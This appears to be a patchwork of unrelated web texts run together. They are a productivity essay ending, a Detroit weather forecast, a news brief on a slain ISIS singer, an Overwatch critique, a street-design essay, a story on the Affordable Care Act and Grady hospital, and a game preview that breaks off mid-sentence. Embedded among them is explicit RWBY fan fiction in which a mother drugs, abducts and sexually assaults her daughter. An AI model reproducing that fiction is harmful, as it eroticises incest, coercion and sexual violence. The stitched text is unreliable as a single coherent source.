progress than you did when you were busy doing everything.  Setting yourself up for less busy-making  No matter how healthy or purposeful you are, tasks quickly pile up. Suddenly, in spite of your pause and realignment, you’ll find yourself fighting the very same challenges you thought you had moved beyond. This isn’t uncommon, nor should it be surprising. Much like making healthier life choices, this is an ongoing pursuit that requires practice.  The single best tactic I know, for maintaining clarity, is to reduce noise. By noise, I mean any non-critical signal that competes for your attention. First, turn off email alerts and smartphone notifications. Then, delete all social media apps from your phone. Want to really get work done? Close your desktop email application for several hours at a time. These changes will be hard at first, and you’ll feel compelled to check what’s happening. Stay strong. In time, you’ll form better habits.  You might also like to create a Don’t List. These are good for bigger challenges, like knowing what projects to say “yes” or “no” to. I even post mine online, as displaying it publicly seems to make it more real. The big lesson with a Don’t List is to figure out which tasks don’t actually matter that much—and reallocate that time to tasks that do.  You might also like to cull your task list from time-to-time, because some things are “nice to dos” and not actually critical. A quick way to identify these is to look at each item and ask how critical it is to helping you fulfill the purpose you set, earlier. If your answer is “not very,” you should nix it. The best way to deal with a great many tasks is to simply not do them.  It’s a bit of a cliché, but there’s some merit to the notion of working smarter, not harder. Take time to identify and implement systems that reduce distractions, and lower the burden on your time. Examine repeat requests, and design ways to eliminate or lessen them. In doing so, you multiply your output, and—more importantly—buy yourself time.  Give me six hours to chop down a tree and I will spend the first four sharpening the axe. —Abraham Lincoln  I can’t stress the value of time enough. You need to carve out significant blocks of uninterrupted time, during which you can dedicate yourself to substantial tasks. I use this time mostly for “real work.” By this, I mean planning how Officehours should work, designing workflows, or writing things of significance. This time can also be used to imagine possibilities, recharge, or read. Warren Buffet, for example, dedicates 80% of his day to reading—and he seems to get a fair amount done.  All these choices define your life  In spite of what popular culture might suggest, you aren’t supposed to be a productivity machine. You don’t need to perform superhuman acts, or wow us with your fortitude. No one asked you to, and even if you accomplished such feats, the outcome would pale in comparison to your expectations.  In fact, the notion of productivity is somewhat outmoded. A better question might be: “how do I live a good life?” Admittedly, this is a complex question; however, avoidance won’t make it any easier. So, you might read the how it all ends, and use what you find there to inform your decisions. (For many, the answer seems to be found in relevance, time, communication, friendship, and permission to be happy.)  You are more than your career and the number on your paycheck. You are more than what you wear, and the car you drive. You are more than your aspirations. You are more than the results of your quarterly performance review. You are the activities you do in your off time. You are the bedtime stories you read your kids. You are the friend who can be relied on. You are the partner who cares for your spouse. You are the community member who always does what’s right.  And, yes, work is important. It’s important because it affords you an opportunity to contribute to this ride we’re all on together. Doing so needn’t take your every moment, though—and flailing wildly won’t make you any better at it. Instead, you must identify (worthy) purpose, choose a course of action, and establish good habits. Then repeat.  I suggest that the best use of your day is in doing one thing that matters—not a hundred things that don’t.
-– February 2015 could be one for the record books in terms of cold weather. Accuweather’s Dean DeVore says the coldest month ever was in January 1977, with an average temperature of just under 13 degrees, and we’ve got a shot at breaking that record.  “I’m doing some calculations but I think we are on track here to have the coldest month ever in Detroit, the way things are looking,” said DeVore. “And it’s going to be brutally cold here today.”  [Real Time Traffic Information]  Dean says another arctic blast is blowing into town late Tuesday –and won’t be leaving until the weekend.  AccuWeather Meteorologist Dave Bowers talked about the unfortunate winter weather pattern that’s been persisting.  “It’s like an open spigot from like Barrow, Alaska down to the Great Lakes. Meantime, they can’t buy a drop of rain on the west coast for the past month or so,” Bowers said. “It’s been wicked. It really is quite a contrast. The western half of the country is having an extremely warm winter, and here it really is more like the Northwest Territories in our backyard .  “We’re running about almost 12 degrees below normal his month.”  Monday: Except for a few afternoon clouds , mainly sunny. High 8F. Winds W at 10 to 15 mph.  Monday Night: Partly cloudy during the evening followed by cloudy skies overnight. Low -6F. Winds SW at 10 to 20 mph.  Tuesday: Gusty winds. Snow showers developing in the afternoon. High 20F. Winds SW at 20 to 30 mph. Chance of snow.  Tuesday Night: Snow showers before midnight. Becoming partly cloudy later. Low 16F. Winds WSW at 15 to 25 mph. Chance of snow 40%.  Know before you go, and don’t get yourself stuck! Keep it tuned to WWJ Newsradio 950 for the latest forecast during traffic and weather, every 10 minutes on the 8s. See the live, local radar now at this link.  Sign up for severe weather text alerts: Text STORM to 95001  For daily weather forecast text alerts: Text FORECAST to 95001
-Supporters of the Islamic State of Iraq and Syria (ISIS) confirmed on Twitter that the extremist group's chief singer and songwriter has been killed in airstrikes in eastern Syria, CBS News' Khaled Wassef reports.  The activists said Maher Meshaal, also known as Abu Hajar al-Hadrami, a Saudi National, was killed Saturday in airstrikes south of the city of Al Hasaka.  Meshaal is the author of jihadi hymns such as "Saleel al-Sawarem" and "Halomoo Halomoo O' lions of war," which are regularly played as background music in combat and execution videos released by ISIS.  According to Mother Jones, "Saleel al-Sawarem" celebrates martyrdom and holy war, with lyrics such as: "The banner has called us, to brighten the path of destiny, to wage war on the enemy, whosoever among us dies, in sacrifice for defense, will enjoy eternity in paradise."  Reuters reported that U.S.-led forces conducted 16 air strikes targeting ISIS positions in Syria on Saturday. The bomb and drone attacks were conducted near Al Hasakah, Ar Raqqah, Aleppo and Kobani, according to a statement from the U.S. military.
-Chapter 1  The grounds of Beacon were transformed in the half-light; the absence of bustling students combined with the faint glow of lampposts along the main pathways made the unlit areas of Beacon even darker and more foreboding by comparison. Yang often walked back the dorms alone after her private sparring sessions but she could never get used to Beacon as it was in the late evening.  As the last one using the gym for the night, she had the responsibility of locking up. Not many students used the gym as late as Yang did who appreciated the privacy it offered, and Yang was always the last one to leave. The reasons for this were twofold; the first being that her days were so busy most of the time between endless classes, hanging out with her friend, team exercises, etc. During the day she rarely had a moment to herself.  The other reason was a lot more personal and currently bulging awkwardly in her shorts.  "Ah, shit," Yang bit her lip, considering her options. She peeked out of the main gym doors, and confident that nobody was nearby she closed them and turned back toward the locker rooms she had just left.  The reason was that working out as she did; sparring against a dummy or a solid punching bag got Yang worked up and excited and when she got into that state then it would become very obvious to any onlookers that Yang was no ordinary girl.  Yang entered the unisex locker room and flipped the light switch revealing empty shower stalls, benches and lockers lining the wall. She pushed the door shut behind her and put her duffel bag against it. Yang felt a hot rush that only worsened the awkward straining against her gym shorts and the anticipation was becoming unbearable.  "A few minutes," Yang told herself; her voice unusually quiet. "Just a few minutes."  She hooked her thumbs under the hem of her T-shirt and pulled it over her head exposing her breasts just barely concealed behind her straining E-cup bra. She fingered the fabric for a moment but decided to leave it on. Fitting those puppies back in was just too much effort to put up with. She kicked her trainers off, followed quickly by her black socks and then there was only one thing left.  She slowly inched her shorts off of her ample hips, and down her long legs, almost teasingly though it was only herself she was frustrating. The thin black panties she wore underneath were already drenched with the copious amount of precum flowing steadily from her dick and so they were discarded as well to fall next to the shorts. Yang sat across the corner of the bench closest to the door, legs spread wide and erect dick bobbing up and down hypnotically to match her breathing.  Yang managed to pull her eyes up and focused on a full-length mirror on the wall opposite her. Her creamy skin was almost entirely open to view; her golden locks of hair messily falling over her shoulders and her black bra were the only obstructions. Her violet eyes matched her reflections and she felt a hot rush of embarrassment as though she had locked eyes with a naked stranger. The heat intensified the needy yearning in her loins and at last she reached with both hands for the object of her frustration.  Her dick was 10 inches long and thick, a perfect male specimen on a perfect female body, she reflected vainly. She had been with boys before plenty of times though they had never gotten as far as discovering her secret. None of them could compare to her own which made her feel oddly happy and disquietly disappointed too. If she was better than everyone around her, then how could she be truly satisfied?  She stroked herself slowly; one hand lightly wrapped around the shaft and the other creeping past her balls to reach her wet pussy. Instead of a clit she had an entire set of male genitals; but the rest of her body was anatomically correct. The combined physical stimulation of both her male and female halves was a surefire way to reach overwhelming pleasure. The precum that had been building up steadily since she started her workout was now being used as a lubricant to enhance her masturbation. That was she doing it in a relatively public place like the locker room where her classmates would come to excited her incredibly.  Yang moaned softly, and then realizing she was entirely alone, she moaned a little louder.  Her hands moved perceptibly faster; well-lubricated fingers moving from head to shaft in smooth motions while her other hand explored the deeper recesses of her pussy. Her panting breaths were loud and ragged; echoing faintly in the tiled room.  Feeling the pleasure mounting to a peak, Yang's other hand came up from her pussy to focus on her glistening shaft; working it with both hands for those precious last seconds.  Toes curled up, eyes scrunched tightly, Yang came. Hard.  For a brilliant moment Yang's body shuddered and her mind was lost to a blinding pleasure. She was utterly unprepared for the sheet of cloth soaked in chloroform to be slapped over her face. Her eyes snapped open.  A strangers hand reached from behind her and clamped over her own hands, still mindlessly stroking her own cock. Yang, already tired from her earlier workout and doubly so from her intense masturbation was helpless in the strong grip.  Her arms pinned and her head held by the hand pressing the cloth to her face, Yang could only look straight ahead and at the mirror which previously showed only herself. Blackness clouded her vision and for a moment, right before she passed out, Yang could have sworn she was seeing double. Only her doppelganger didn't have golden hair, but black… And then everything went black.  Consciousness came almost as quickly as it had fled her, but Yang was slow to rise; her adrenaline long gone. She pushed herself upright and she could see that had been lying done on a bare mattress, completely naked as even her bra had been taken from her. The room was spartan in terms of decoration. A threadbare chair in one corner, a sink, a flimsy looking cupboard and the mattress she was sitting on was the extent of the furniture. The plaster walls were bare and windowless, the floor was polished wood and a naked bulb dangled from the ceiling. Yang couldn't see a light switch in the room.  Subconsciously crossing her arms and folding her legs to conceal herself, Yang realized another startling fact.  The room didn't have a door.  That didn't make any sense.  "What the fuck is going on," Yang hissed. Plainly she had been kidnapped but it was unthinkable. Kidnapped? In the middle of Beacon? From an empty room?  Just as she was scanning the walls again in case she missed some hidden signs of a concealed door, a flash of crimson light burst into existence in the far corner of the room. Yang threw up her hands to block the light. It dimmed, swirled in place and then seemed to draw back to form a glowing red portal. Through which, stepped the last person Yang expected.  "Mom?" Yang gasped in disbelief. The figure was unmistakably the one who had appeared to her a month ago.  It had been at the end of her fight with that psychopathic mute, Neo, and Yang had woken up to see a helmeted stranger that had saved her life before disappearing into a crimson portal. The same figure stood before her now, unhelmeted and undeniably her mother. The resemblance to Yang's own face was almost perfect except that her mother had an even paler complexion and startlingly red eyes. On top of that, the mass of black hair and red-black armor she wore matched the descriptions Yang had received from her own father about her mother.  "Mom?" Yang repeated hollowly, still unable to believe that the person she had looked for most of her life simply appeared in front of her.  "Yes, Yang," Raven sighed, rolling her eyes slightly. "I'm your mother."  "Are you rescuing me?" Yang wondered, remembering the last time she saw her mother.  Raven's response shocked. She simply laughed. Her own mother was laughing at her while she was sitting there, naked. It was surreal.  "Yang, who do you think brought you here? You're in my house."  "What? What the fuck is going on?"  A dangerous glint came into Raven's red eyes. Without warning the crimson portal behind her slammed shut and vanished. Silently, Raven moved over to the chair and sat down on it, one leg over the air and with her arms folded under her breasts.  "You've got a real potty-mouth on you, don't you, Yang? But I'll be fixing that soon enough. I may have been absent from raising you but that doesn't mean you can speak to me in such tones or use such crude language."  Yang felt so taken aback that she actually felt calmer than when she had woken up. She was uncomfortably aware of how naked she was and kept herself concealed with her hands as best she could. "Why did you bring me here?"  Raven spread her hands to the side and gave a shrug. "Here's the deal honey, Mommy needs a new fucktoy. The last one couldn't keep up with Mommy's needs. Now, I brought you into this world and it's time you paid me back for that. You're going to be my new fucktoy."  Yang was speechless.  Raven waited her out and finally Yang blurted out, "But, you're my mother! That's incest!"  "Doesn't bother me. And the laws have changed in recent years. So long as both participants are above legal age then it's fine."  "I won't do it. You can't make me," Yang was still in a detached shock. She couldn't believe that her own mother that she had been seeking for so long was propositioning her like this.  Raven gave another shrug with a sly smile, "To be honest, your consent isn't needed at this point. You may have noticed you're in a doorless, windowless room. The only way in or out is through me. I'm a generous person though, I'll give you once chance. I want you to hit me as hard as I can. If you're strong enough, I'll let you go. If not, well, then there are no second chances."  Yang gingerly stood up, stepping off the mattress. Gritting her teeth she lowered her hands from breasts and her privates. She couldn't let herself feel embarrassment now.  Raven tapped her cheek, still grinning at Yang. "Just one hit-…"  Yang's eyes flashed red and she stepped forwards, punching Raven in the face with a right hook on the spot she pointed out. It was a punch fueled with her anger, her confusion and her outrage. It was like punching a brick wall. She couldn't believe the strength of her mother's aura to be unaffected in the slightest by a punch like that.  Her mother reached out and grabbed Yang by her arms. She tried to pull away but her mother proved to be as unrelentingly strong as she was tough. She pulled Yang down sharply, bringing her closer and forcing her to her knees. She let go of Yang's arms and simultaneously brought up both of her legs; pinning Yang's arms to her sides with her powerful thighs. With Raven's legs locked together, Yang was held firmly in place.  Grabbing Yang by a handful of her beautiful, golden hair, Raven tilted Yang's head back so she could stare into the violet eyes that gazed up at her angrily. "Now that you've thrown away the chance I so generously gave you, let me make the rules clear. After all, you live under my roof; you live under my rules."  Still holding Yang's head in place with her left hand, Raven slapped Yang with her right for emphasis.  "Rule number one: you will obey me when I give you an order. Toys do not disobey when they are played with, and you. Are. My. Toy."  She slapped her again.  "Rule number two: you will call me Mistress when you address me, like 'Yes, Mistress' and 'No, Mistress' though I can't think of a single reason why you would ever say 'no' to me."  Tears were welling up in the corner of Yang's eyes as Raven slapped her a third time.  "Rule number three: you were having a little too much fun when I caught you yesterday. From now on you will only masturbate when I order it; if I order it. Remember at all times; you're a toy for my pleasure. Not your own."  Abruptly Raven leaned down to Yang's raised face and kissed her. She mashed their lips together with a raw, lustful desire that Yang was helpless to deny. Her hands, still holding Yang's head in place, inched down to her mouth and gradually pried her jaw open. Raven's tongue darted in; invading her daughter's body and tasting at her saliva.  Raven at last relented, watching with amusement as the lines of spit joining their mouths together stretched and then snapped apart. Tears flowed silently down Yang's cheek as she glared at her mother.  "Oh Yang," Raven whispered to her daughter. "This is going to be so much fun."  Releasing her daughter's head, Raven leaned back and licked her lips. She reached between her legs toward a slowly growing bulge that Yang could not fail to notice being so close to it.  "No way," Yang grunted.  Raven laughed; a surprisingly girlish sound from her.  "No, honey," Raven chuckled. "It's real alright. Where do you think you got yours from?"  As Raven finally fished out her tool from the folds of her armored robe, Yang choked back a gasp of shock. Though it was stilly plainly in the process of hardening, it was already bigger than her own cock! Holding it mere inches away from Yang's stunned face, Raven gently stroked it to full length with a sadistic glee. Fully erect it was at least a foot and a half long, veined and with a raw, musky scent of lust.  Yang redoubled her efforts to escape but locked in the warm embrace of her mother's thighs, she might as well have been caught in a beartrap. Her escape futile, Yang closed her jaw, lips pressed together hard.  "My last fucktoy put up a struggle too," Raven said conversationally, pinching Yang's nose shut with one hand while guiding the bulbous head of her cock to Yang's lips with the other. "She didn't struggle for long."  Yang squirmed futilely for almost a minute; sweat beading on her reddening face until when she could last no more and she gasped desperately for air. Raven, enjoying the game, thrust forward with a note of satisfaction; wedging Yang's jaw open. Screaming, eyes flickering red, Yang bit down as hard as she could on the intruder. She had as much success as her punch did earlier. It was like trying to bite into a steel pole. By Raven's moans of pleasure she was probably only stimulating her more!  Raven adjusted her position on the edge of the chair slightly, drawing Yang closer till an entire third of her massive cock was enveloped in Yang's bulging mouth and tickling the back of her throat. That was enough for now; training Yang's throat would come in time.  Raven absentmindedly reached within the folds of her robe, playing with her own breasts while her cock was parked on the tongue of her daughter. She flicked at her own hard nipple, smiling inanely.  Yang, abandoning her struggles for escape, was focused on her struggles for breathing. Every few moments when Raven's cock twitched back an inch, Yang desperately inhaled a needy gasp of air before the entrance to her throat was plugged shut again. Through the haze of sweat and tears, she heard her mother's voice alternating between moans of pleasure and whispering instructions. "The faster you make me cum Yang, the faster I'll be done with you. Help Mommy out. Use your tongue more."  Out of options Yang hastily acquiesced her demands. She'd had boyfriends in the past who were always begging her to suck their dicks though of course none of them had possessed such a monstrous tool as her mother. The massaged the subtle creases and bumps of the shaft in her mouth with her tongue; coating it in her saliva which was now mixing with a steady flow of precum entering her mouth directly.  Unbearable seconds and minutes flowed by; Yang's jaw was aching and she was drained from relentlessly stimulating the unyielding rod jammed in her mouth. Raven squeezed her legs closer encouragingly as she felt a rush in her heavy balls; a mounting pressure. Finally the moment came; "I'm cumming!"  Raven's hands squeezed down on the arm of the chair as she drew Yang closer with her legs; caught between the cock in her mouth and her mother's toned legs, Yang felt her mouth flood with her mother's cum. Her lips wrapped tightly around the shaft made a perfect seal and there was only one direction for all that cum to go.  It poured down her throat in one endless rush; hot, thick and sticky but the force of Raven's ejaculation sent it straight into her waiting stomach. Yang lost track of the unbidden, gulps she took, consciousness receding as she struggled to keep up with the flow of cum.  "You've really inherited your father's dick-sucking skill," Raven noted with something close to pride. At last her muscled legs relented and sprang apart, depositing a limp Yang to the ground. "Consider that your breakfast. I hope you'll be looking forward to lunch and dinner later~…"
-Overwatch’s competitive mode has been in the wild for a few days now, and well, let’s just say that Blizzard should maybe consider changing their name. Related: what do you call a snowstorm, except it’s made entirely of salt?  I should preface this by saying that I don’t think Overwatch’s competitive mode is all that bad, for how new and unpolished it is. Some bugs in Skill Rating on certain maps (which have been remedied) aside, the system is functional. Based on wins, losses, the other team’s Skill Rating, and—ever so slightly—your personal performance, you gain points and slowly work your way into a skill bracket that, ideally, should match you against players of equal or slightly greater skill.  It’s not perfect. You will inevitably come up against people who are way better than you sometimes, and the leaver penalty system, which punishes the team the leaver was on nearly as much as the leaver themselves, can be incredibly frustrating. The coin flip for attack/defense during sudden death is not super great, and Blizzard is thankfully doing away with it next season. It’s also worth noting that ranking up is a slow, painstaking process while ranking down can happen after a loss or two. That doesn’t feel very good. Unsurprisingly, people on Overwatch’s forums and subreddit are salty as hell about all of these issues.  But I think the bigger problem might be that Overwatch is currently not a game designed for this kind of high-stakes competition. It’s a game about teamwork and situational adaptability rather than MLG no-scope-to-indie-nosebone skills with a single hero. It’s a game of good-natured fun with a community that’s wary of the toxicity competitive modes in other games engender. It’s a game that’s about the ecstasy of victory rather than the agony of defeat.  Advertisement  Overwatch has trained us to expect certain things that don’t gel with a traditional competitive mode. I’m not saying it can’t support a competitive mode. I think it can, and I hope it continues to! I just think competitive mode needs to evolve to be more in line with Overwatch’s identity as both a game and a community.  As is, Overwatch’s competitive mode uses the language of other competitive games to describe something different. That, I think, is why people are so mad about it. They’re expecting one thing and getting something else.  Let’s start from the top. The Skill Rating system is fundamentally individualistic, or at least, it seems like it should be. The number you get is yours, not your team’s. However, it’s still overwhelmingly dictated by team wins and losses, by the actions of wildcard players who, especially if you’re solo queuing, might be human dumpster creatures who don’t seem to understand that Overwatch is called Overwatch, not Reaper—THERE MUST ALWAYS BE A REAPER AND I WILL BE THAT REAPER UNTIL THE DAY I DIE—And Friends.  Advertisement  In the context of Overwatch’s design, it makes perfect sense to have rank dictated by team wins, losses, and the Skill Ratings of the opposing team’s members. Imagine if individual skill was a bigger deciding factor. Many players would abandon team cohesion and try to rack up kills or rush the objective. It’d be horrible, topsy turvy chaos, even more so than some matches are now. Cats kissing dogs, tanks ignoring their Mercys, Genjis—fearful and forlorn, but ever dutiful—pushing carts all by themselves.  In the heat of the moment, though, the current Skill Rating system isn’t super clearly explained, and it feels fundamentally unfair that shitty players get to have so much influence over your number.  Advertisement  Another thing that makes competitive mode feel at odds with the rest of the game: matchmaking is entirely dictated by Skill Rating rather than level. That makes sense in the long run, seeing as you can earn a high level in Overwatch simply by doing tons of quick play matches, while Skill Rating is about recent wins and losses in a competitive season. But Overwatch is still a young game, and right now coming up against a team of level 130s when you’re with a bunch of level 50s feels a smidge unfair. You might have the same Skill Rating, but come on, we all know how this is gonna end.  Competitive matches are also usually longer than regular Overwatch games. Again, it makes sense; you’re up against people of (theoretically) equal/greater skill who are (hopefully) using teamwork to fight their dang butts off and into tiny, butt-shaped graves. It’s gonna be a knockdown, drag-out battle. So let’s say you win a 40-minute match, only to find that your Skill Rating level bar barely budges. That’s fucking unsatisfying, partially on an intrinsic level, but mostly because Overwatch previously trained us to expect a) short matches and b) big rewards after those short matches. That’s the pace it was designed for.  Advertisement  Despite what some players want and expect, competitive mode is not meant to be a head-on bull rush to the top. Unlike in regular Overwatch, which is designed to make you feel like a winner no matter what with all its experience points and commendations and medals and loot boxes, losing in competitive mode carries consequences. You’re not gaining experience and leveling up slowly, doggedly over time. You’re either slowly becoming more skilled and moving up a couple precious brackets or losing and falling back down into a bracket that suits your relative skill level. Competitive mode is about consistency, not persistence.  I’m not saying Blizzard shouldn’t tweak the system to make it a little less of a bummer, but upping the stakes also means upping the potential for frequent disappointment. That’s just the nature of the beast.  Similarly, high-stakes competition and toxicity tend to go hand-in-hand, and Overwatch’s competitive mode already has an ugly toxic stain. Don’t get me wrong: Overwatch is absolutely not bereft of toxic players even in quick play, but it’s a game whose developer and community have at least tried to avoid the pitfalls of other online gaming communities. It’s a game about having fun and being a team player, one that thrives when players feel unafraid to experiment with heroes and strategies. That spirit pervades much of the game, and it shows in the way tense situations unfold. Generally, when somebody goes Full Shitlord, other players are like, “Chill. It’s not actually that big of a deal” or “Hey, losing isn’t the end of the world, especially if you gave it your all for your team.”  Advertisement  In competitive mode, it is a big deal, and I’ve already watched/listened to some players absolutely go for the throat after matches gone awry. Insults, threats, slurs—you name it. Apparently I’m not alone. To the victor goes the spoils. To the loser goes the spoilsports.  Blizzard’s gonna have to police this stuff harder than any company before them if they want to hold on to what makes Overwatch’s community special. They’ve got an uphill battle ahead of them. There’s a tendency for multiplayer game communities to consider competitive the Real mode, while quick play is for scrubs. I worry about what will happen to Overwatch if that mentality takes hold with competitive in its current state. If Blizzard allows all this sewage to seep into the fiber of Overwatch’s identity, it’s gonna be an ugly scene.  Advertisement  Overwatch is, most of the time, a feel-good team game. Introducing high-stakes competition with a muddled message about the importance of individual skill drags the game into confused, oftentimes negative territory. If Blizzard wants this thing to work, they’re gonna have to figure out a competitive framework that’s true to Overwatch’s spirit, rather than just the spirit of competition.
-There’s been a rash of pedestrian accidents lately. When these accidents get reported in the paper or batted around the water cooler, there are often underlying assumptions about blame. The stories typically imply that victim was intoxicated, in the wrong place, young, old, or unhelmeted (for bicyclsits). Because we all drive almost all the time, and we all assume equal responsibility for our automobile system, our kneejerk reaction is to blame the victim. (E.g. the Strib’s recent subheadline: “distraction, inattentiveness blamed for deadly collisions”)  This is the wrong approach. We should be blaming the road. Accidents like these are not inevitable. Sure, college students are young and inexperienced. Sure, old people move slowly. But that shouldn’t mean that people deserve to be crushed underneath tires. There is another way.  The example of bicycling is a good illustration. The American attitude towards bicycling is fraught with assumptions that bicyclists are responsible for their own fate. “If you ride a bike,” so goes the attitude, “you’re asking for it.” “If you get hit,” people imply, “you kind of deserve it.” While people won’t actually say this (except on Pioneer Press comment threads), this is the subtle undercurrent to how most people talk about accidents. “Well, there’s nothing you can do,” is the implication. “They should have been paying more attention.” In other words, there’s a Darwinism afoot.  It’s particularly interesting to me because transportation engineers and road designers have long had a different approach to designing roads. “Forgiveness” is a concept taught in engineering programs. It basically means that, to ensure safety, roads should be designed to allow for people to NOT be on their best behavior.  In his wonderful book, Tom Vanderbilt describes the concept of forgiveness as part of his larger chapter on the paradoxes of road safety:  The rumble strips are an element of what has been called the “forgiving road.” The idea is that roads should be designed with the thought that people would make a mistake. “When that happens it shouldn’t carry a death sentence,” as John Dawson, the head of the European Road Assessment Programme, explained it to me. “You wouldn’t allow it in a factory, you wouldn’t allow it in the air, you wouldn’t’ allow it with products. We do allow it on the roads.”  This concept makes a lot of sense, until you start to consider that designing a forgiving road means designing an unforgiving sidewalk. Forgiving roads typically have wider shoulders, larger turning radii, and fewer conflict points (a.k.a. intersections). That’s all good if you’re behind the wheel, but it has two unforeseen consequences. The first is that it makes life dangerous and unforgiving for people on foot or on bicycles. (E.g., limited access roads with few conflict points transforms pedestrians trying to cross the street into semi-culpable jaywalkers.) The second is that it encourages people to drive even faster. Designing a road with wider lanes and wider shoulders often means people will simply drive faster or eat a burrito or talk on the phone or all of those things simultaneously. Sometimes the more forgiving you become, the more that others will take advantage of you…  Thankfully, urban road design has turned a corner, and cities around the country are starting to realize that making roads less forgiving might make them safer for everyone. (The Compelte Streets movement is a great example of this.)  Why not forgiveness for cyclists and people on foot?  I have been reading a history of US bicycle planning by historian Bruce Epperson. Epperstein tells the story of a long-standing debate between bicycle planners over “vehicular cycling,” a school of thought that emphasizes training, education, and aggressive lane placement. (Basically, the idea here is that cyclists should get good equipment, “take the lane” out in traffic, and signal with their hands a lot. There’s a good argument to be made that this is the safest way to ride in the midst of traffic.) Epperson describes the debate between vehicular cyclists and more pragmatic bicycle planners who emphasize off-street and recreational routes. The history of US bike planning is filled with debates between these two groups. It’s old news, and you can find reams of heated commentary from both sides on the internet. As they say in Italian restaurants in cartoons, “that’s-a spice-y meata-ball!”  Say what you will about vehicular cycling, but nobody is going to argue that it’s “forgiving.” For a brief moment in the early 70s, Epperson mentions another approach to bicycling. He calls it the “third stream of egalatarianists.” According to his story, they emerged out of Davis California, around the University campus, advocating an approach to bicycle design organized around the concept of forgiveness.  The basic difference is this: Do you design bike lanes with the assumption that all the cyclists will be fast, efficient, well-trained, and “educated” about how to ride in traffic? Or do you design bike lanes for people who will move slowly, dawdle, and are perhaps younger or older or riding in groups? Do you design lanes for people who occasionally fall down?  The only place where this egalatarian bicycle planning was fully adopted was around the college campus of Davis California. There, as Epperson describes, planners were “highly experimental”:  [They] placed an emphasis on modifying the street system to facilitate utilitarian bicycle trips, often by cyclists of limited ability. … The third-streamers openly advocated policies that specifically targeted the weakest and most vulnerable bicyclists and involuntary users who rode strictly out of need, not choice. Together, these comprised cycling’s lowest common denominator, and for the third stream planners, they formed the yardstick by which to measure success or failure. If high-end recreational cyclists couldn’t live with their solutions, well, there were lots of other sports in the world they could turn to.  This approach had a brief moment in the sun in a 1971 congressional report written by the Davis planners. But quickly, the debate over bicycle planning returned its focus to the debate between vehicular and recreational bicyclists. People started focusing on safety equipment and training. People turned away from designs like buffered cycle tracks, which were perceived by traffic engineers as too dangerous.  Only now is the UC-Davis approach starting to make a renaissance, as cities across the US are beginning to install DAvis-style protected bike lanes.  As a grad student, I literally spend hours on campus each week watching students ride bicycles. I see a lot of supposedly dumb things. People ride the wrong way down one-way streets. People ride on the sidewalk. At least half of the people are listening to music on headphones. People are carrying things on their handlebars. People ride in groups. People ride beat up Wal-Mart Magnas with only one working brake and chains that sound like a bag full of mice. Everyone looks impossibly young.  On the other hand, I rarely see an accident. For all the discussion about how to ride properly, people seem to grasp the basic concept. The phrase “just like riding a bike,” is rightly synonymous for something that everyone can do, for skills from childhood that never leave us. Riding a bike isn’t hard. Almost everyone can do it.  The truth is, however, that riding a bike in most places is dangerous and unforgiving. Riding in a narrow bike lane in the gutter next to a freeways intersection can get you run over. When you combine thousands of young people on bicycles with unforgiving bike lanes, terrible accidents become foreordained.  Faced with this reality, we have a few choices. Either we can “educate” all of the students about proper bicycling techniques, and/or police them out of existence. (Frankly, both these things are impossible.) The alternative is to design bike lanes and paths with students in mind, streets that are designed to be forgiving for drivers, bicyclists, and people on foot.  If the majority of the people using a street are using it the “wrong way,” then it’s not the people that are at fault. It’s the street. Instead of calling for more education and enforcement, instead calling for a police crackdown or mandatory bicycle licenses, instead of the plague of “distraction and inattentiveness,” we need streets that will forgive us. We need to design places for how people actually behave, not how we wish they’d behave. We need to start forgiving everyone, no matter how they get around.  Share this: Email  Facebook  Twitter  Reddit  Tumblr  Related  Streets.mn is a non-profit and is volunteer run. We rely on your support to keep the servers running. If you value what you read, please consider becoming a member.
-Fulton Chairman John Eaves says the GOP's plan to vanquish the Affordable Care Act could "kill Grady," Georgia's largest hospital.  If President Donald Trump's and his sycophants' "heartless plan" comes to fruition, Eaves says, the hospital could lose more than $65 million in federal funds each year. In effect, the facility's operating budget could be chopped by 10 percent, meaning Grady would have to cut back on critical services  So Eaves, a candidate for Atlanta mayor, wiped the sweat from his brow when U.S. Sen. John McCain, R-Arizona, cast a vote early this morning to fell the "skinny repeal" proposal, a skeleton of conservative lawmakers' initial plan to ditch and replace the ACA, aka Obamacare.  "If the GOP members in the House and Senate would have had their way, President Trump would have ended up signing a bill that would have thrown almost 1 million Georgians, (including residents of Fulton County) off health insurance," says Eaves in a statement.  And more uninsured patients, he says, could clog up the Downtown emergency room and "overwhelm Grady's capacity and put the hospital's financial stability at significant risk."  Eaves encourages his constituents to dial up Republican U.S. Sens. Johnny Isakson and David Perdue to voice disapproval of their party's plan to kill Obamacare. "We ask that they look at ways they can repair the Affordable Care Act, not repeal it ... because individuals who are part of their constituency are part of Fulton County, and many of them utilize Grady Hospital," Eaves tells a flank of reporters gathered in front of the hospital.  Trump seemed dumbfounded that McCain, who had just returned to the Senate after undergoing surgery and learning he has brain cancer, voted against the party grain. The president, of course, tweeted his chagrin and reiterated his yearning to see Obamacare killed sans a substitute.
-Preview: The Guild 3 – Guild things come to those who wait  Role Play Convention is more than just a popular hub for cosplayers, it’s becoming more and more of a final rehearsal for us to mentally prepare for gamescom. This time, additionally, we got the chance to lay eyes on gameplay material from the alpha of The Guild 3.  Places, everyone  Europe in the year 1400: The dark middle ages, once dominated by nobles and the clergy, came to an end and a new era begins: the age of free, prospering cities, trading and an open mind-set! One of the goals in the The Guild series is to create a family dynasty which can last for centuries. While the world around you and your dynasty rearranges itself time and time again – all non-player characters (NPCs) make their own decisions –, you have to prove your skills in artisan craftwork and trading, participate in social occasions and perfect your political schemes and malicious intrigues.  Starting the game we have to choose our dynasty. Male? Female? Name? Physique? We already know about that. But since The Guild 3 is a mix of strategy, economic simulation and life simulation, we’re allowed to further refine our character. Not just regarding voice, hair or clothes, but also our vocation, and if we wish so, our task. Because the makers of The Guild 3 actively opposed the idea of a campaign, this task bascially becomes our life goal. Become rich, become a famous lady-love, a well-known orator, noble, obtain a mansion or become a sovereign. The dark age told you to go big or go home, base goals are for plebs.  To achieve those goals you may choose between taking one of various paths. You can concentrate on economy, take the religious path or completely indulge in roleplaying. The so-called tasks accompany us through the game by giving us quests and are some kind of a mini campaign. Of course you might as well focus enitrely on the sandbox – choosing a task at the beginning of the game is totally optional. Besides your choice of task you may also settle a course for your career choice. For example, you may choose to specialize in craftsmanship, which won’t restrict you later on, since you have the option to specialize in any career you’d like to, thanks to the skill tree.  Incorporating a bit of roleplaying, you’re allowed to define the attributes of your first character. This covers strength, agility, charisma, courtesy and cleverness. You really want to bash stuff? Strength might not be amiss. You’re aiming for social goals? Charisma could help you out. To further enhance those attributes, one can find certain artifacts in game, which also fulfill other 